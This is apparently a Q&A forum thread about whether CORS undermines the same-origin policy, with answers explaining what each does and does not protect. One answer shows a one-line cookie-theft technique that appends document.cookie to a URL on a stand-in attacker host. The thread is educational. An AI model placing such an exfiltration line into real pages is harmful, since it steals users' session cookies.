1

I've been using CORS for a while and I think I understand it. But as far as I can tell, because the allow-origin header is provided by the server being called, which an attacker can control as they see fit, same origin policy cannot prevent an injected script from calling an attackers server.

Furthermore, by using my own server as a proxy, and spoofing headers, I can essentially make any HTTP call to any server in the world, regardless of their CORS settings.

Assuming an attacker can do whatever they want with their server, does this mean that same origin policy is dead?

3

I think you are misunderstanding where and why CORS is used. It is not intended to prevent a script from calling out to an untrusted server (with an Access-Control-Allow-Origin: * header, for example), since that is often a valid use case. The default, restrictive policy doesn't even restrict whether data can be sent; even without that header from the server, a client can send arbitrary data that will be received by the server.

Here's an example where the default policy is helpful:

Say you have an intranet website that provides sensitive company information. An attacker knows the website exists, and crafts some cross-origin AJAX requests in JavaScript to exfiltrate data from the website if any company users browse to the attacker-controlled website. When this happens, the JavaScript will reach out to the intranet server, but will refuse to return any data due to no Access-Control-Allow-Origin header.

Another scenario is where an attacker knows you are logged into a social media website, and wants to read your private chats. The attacker writes some JavaScript to pull messages from whatever user is logged in, using cross-origin requests when you visit their website. This is also prevented without the aforementioned header.

In either scenario, the attacker can't read any cross origin data since the target websites do not bear the necessary header to relax the policy. The attacker does not control these headers, as they do not have access to the systems in question.

Furthermore, by using my own server as a proxy, and spoofing headers, I can essentially make any HTTP call to any server in the world, regardless of their CORS settings

Maybe, but what does this gain you? You can't accomplish either of the two scenarios I provided above, especially since credentials won't be sent to the wrong domain.

8
  • To help me understand, are you saying; 1) intranet sites are still safe (so long as I cannot be a MITM) 2) I cannot use a MITM attack to access cookies. Mar 3 '20 at 14:48
  • @gburton all sites are still safe, I'm not sure if I see any issue Mar 3 '20 at 15:00
  • If I bounce off my own dodgy server, I can call any other server - but I can't access cookies? Mar 3 '20 at 15:05
  • @gburton Sure, you can bounce off your own server- but what attack/benefit do you envision from that? Mar 3 '20 at 15:11
  • The short version is, by bouncing off my own server, and responding to the preflight with allow origins *, i can bypass cors policy of the servers I'm accessing. Mar 3 '20 at 15:13
1

Your understanding of CORS is lacking an important aspect: why it even exists. CORS doesn't make SOP obsolete at all. What CORS does is allow a site owner to, selectively, reduce the protections of SOP for their own site. You can't lower SOP for a third-party site via CORS (unless you can inject response headers), any by design anything that can be done without CORS being configured at all (that is, using the default behavior of the browser when cross-origin requests are attempted) could also be done before CORS even existed.

For example, sending a basic GET/POST cross-origin request has always been possible; just create an HTML form in an invisible frame and use script to submit the form. Your script can't read the response, but it can sure send the request. CORS lets the script specify more details about the request (such as additional headers that a form doesn't let you set) and also see the response... but only if the destination server permits.

The scenario you describe - an attacker injects a script into a third-party site, and then the script calls back to the attacker's server - doesn't require CORS at all. It's more than a little clumsy to pull off advanced attacks like what BEEF does without CORS (though you could, using the invisible iframe trick; that's actually how "web 2.0" pages worked before XMLHttpRequest), but basic stuff like "send the victim's document.cookie to my server" doesn't require CORS at all. Just create an invisible element (such as a script or stylesheet tag) with its source set to "https://attacker-site.com/?stolencookies=" + document.cookie or similar. Your injected script can't see the response, but it can transmit data out of the exploited site without any need for CORS or even XHR/fetch in general.

If the attacker can inject a script into a third-party site, it's game over for that site's users' security. Neither CORS nor SOP will save anybody at that point. SOP does prevent a browser on attacker.com from reading data out of thirdparty.com, but SOP does not - and was never intended to - prevent a script on thirdparty.com from making the victim's browser send data to attacker.com.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.